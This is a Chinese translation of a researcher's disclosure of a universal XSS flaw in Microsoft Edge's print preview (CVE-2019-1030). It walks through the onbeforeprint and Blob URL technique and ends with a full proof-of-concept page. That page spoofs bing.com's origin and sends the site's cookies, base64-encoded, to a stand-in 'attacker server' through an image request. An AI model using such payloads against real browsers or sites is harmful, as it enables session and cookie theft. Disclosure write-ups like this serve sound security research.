在各类XSS漏洞中,uXSS可以说是一种非常特殊的类别,它和浏览器或浏览器的插件有关,和具体网站无关。这就像你在所有的网站上都有一个非常有趣的XSS(某个浏览器下)。
在这篇文章中我将讲述在Edge浏览器中发现的这个uXSS。通常来说,uXSS与iframe元素或者URL有关,我从没想过我会通过print()
函数找到一个uXSS。
打印预览
先让我们讨论一下当Edge浏览器显示打印预览窗口时发生的事情。
我一直以为这只是一个屏幕截图再复制到画布上的技术,但实际上,你正在打印的网页会复制到一个临时位置,并重新渲染!
当我们在网页中执行print()
函数时,我们可以在Process Monitor中看到如下画面:
是的,Edge正在临时目录中创建一个文件,文件内容是我们试图打印页面的小改版本。让我们来对比一下。
原始页面:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
临时页面:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><meta content="text/html; charset=utf-8" http-equiv=Content-Type> <base HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <iframe src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></iframe> <script> qbutt.on click=e=&gt;{ window.print(); } </script> </BODY></HTML>
从以上两个页面中我们可以发现一些不同。
Js语句会被实体编码,无法渲染。
IFRAME会指向一个本地文件,该文件包含原始引用页面
bing.com
的源代码。HTML元素现在有一个特殊的属性
__IE_DisplayURL
我做了一些关于第1点和第2点的测试,试图找出在编码之后仍然能生效的js语句。但事实证明,来自<script>
元素中的任何语句,不管有效无效,都不会执行。
而关于第2点,我能使用CSS的@media print{}
函数加上CSS选择器借助iframe的ref值提取出系统用户名。然而,这还不够好。
而这第3点正是本文最有趣的地方,这个属性一看就非常不寻常,我以前从未看过。所以我立刻查找了相关的文章,貌似Masato Kinugawa在这方面有些研究。
在学习了一段时间后,我发现打印预览内容和这个属性紧密相关,它指明了打印文档的来源(来自哪个网站)。这正好符合Edge使用file:
来打开文件这一行为。你会注意到此文档(在打印预览中)的所有请求行为与原始网站完全相同。
那么,我们怎么利用这个属性呢?
在打印预览中执行javascript
就像我之前说过的,任何来自script
标签的js语句都会被忽略。但如果是来自其他标记呢?我尝试了所有我能想到的语句,并最终有所发现。
由于我们一直在讨论打印功能,所以很自然想到了和打印相关的事件,最后找到了onbeforeprint
。利用它,我可以注入一个指向任何网站的iframe
,而且Edge不会将其转换为文件。在我注入一个包含javascript:
的iframe
后,发现js语句成功执行。
测试语句:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
打印预览转换后:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><meta content="text/html; charset=windows-1252" http-equiv=Content-Type> <base HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <div id="qcontent"><iframe src="ja vasc ript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe></div> <script> qbutt.onclick=e=&gt;{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`&lt;iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"&gt;&lt;/iframe&gt;`; } </script> </BODY></HTML>
结果:
但是,成功执行js语句并不意味着我们完成了所有任务。如前所述,由于__IE_DisplayURL
属性的存在,任何请求或API都会被视为来自于原始文档(无法攻击外部网站)。
真正的uXSS
在能执行js语句后,我们需要以某种方式用自定义的__IE_DisplayURL
来构建我们自己的“打印预览文档”,这样我们就能对任意网站发动uXSS攻击。
很快我发现Blob URL
可以做到这一点!为此,我制作了特殊的打印文档,其中的自定义属性指向我的目标网站(本例中为“bing.com”),并且它还包含一个javascript iframe
,就像在“bing.com”网站中执行一样。
插入的Js语句如下:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createobjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
其中top.document.getElementById('qd').value
就是指如下虚假打印文档:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><meta content="text/html; charset=windows-1252" http-equiv=Content-Type> <base HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
现在,我可以看到网站cookie,并且已发送到某个服务器上。
现在让我来总结一下整体利用流程:
利用
onbeforeprint
,我插入一个iframe,它能打印之前触发我的js语句。调用
window.print()
进行初始化。Edge出现打印预览窗口,内容为我插入的js语句,并进行渲染。
这些js语句会创建了一个Blob URL,其中有我自定义的来自“bing.com”打印文档,并将顶部帧重定向到这个URL。
打印预览内容会误认为我的
Blob URL
的内容是一个合法的打印文档,并通过__IE_DisplayURL
属性将文档来源设置为bing.com
。这个虚假的打印文档现在包含另一个
javascript iframe
,它会显示bing.com
网站的cookie。uXSS成功实现!
PoC and Video
最后的PoC代码如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><me ta content="text/html; charset=windows-1252" http-equiv=Content-Type> <base HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.on beforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createobjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
演示视频地址如下:
https://i.imgur.com/TYAQHp3.mp4
参考链接:
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2941.html 来源:https://leucosite.com/Microsoft-Edge-uXSS/?q=